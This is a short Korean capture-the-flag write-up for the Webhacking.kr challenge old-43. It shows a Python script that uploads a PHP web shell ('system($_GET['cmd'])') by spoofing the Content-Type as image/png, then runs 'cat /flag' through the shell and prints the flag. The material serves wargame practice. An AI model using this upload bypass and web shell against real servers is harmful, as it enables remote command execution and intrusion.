[Webhacking.kr] old-43

Alexandria·2024년 2월 29일

Wargame Webhacking.kr

목록 보기
42/69
post-thumbnail

1. Description

2. Write-Up

php확장자를 가진 파일을 업로드하였더니 wrong type이라고 한다.

import requests

CHALLENGE   = 'http://webhacking.kr:10004/index.php'
SESSION_ID  = 'iojfbh0sobkvbtp5i4ftu52ti0'
headers     = {'Cookie':'PHPSESSID='+SESSION_ID, 'Content-Type': 'image/png'}
files       = {'file':('test.php','<?php system($_GET[\'cmd\']); ?>')}
req         = requests.post(CHALLENGE, headers=headers, files=files)

CHALLENGE   = 'http://webhacking.kr:10004/upload/test.php?cmd=cat /flag'
headers     = {'Cookie':'PHPSESSID='+SESSION_ID}
req         = requests.get(CHALLENGE, headers=headers)
print(req.text)

[Output]
FLAG{V2hhdCBkaWQgeW91IGV4cGVjdD8=}

proxy를 이용하여 Content-Type을 image/png로 바꾸면 잘 업로드된다.

FLAG를 인증하여 점수를 획득하자.

3. FLAG

FLAG{V2hhdCBkaWQgeW91IGV4cGVjdD8=}

profile
IT 도서관

0개의 댓글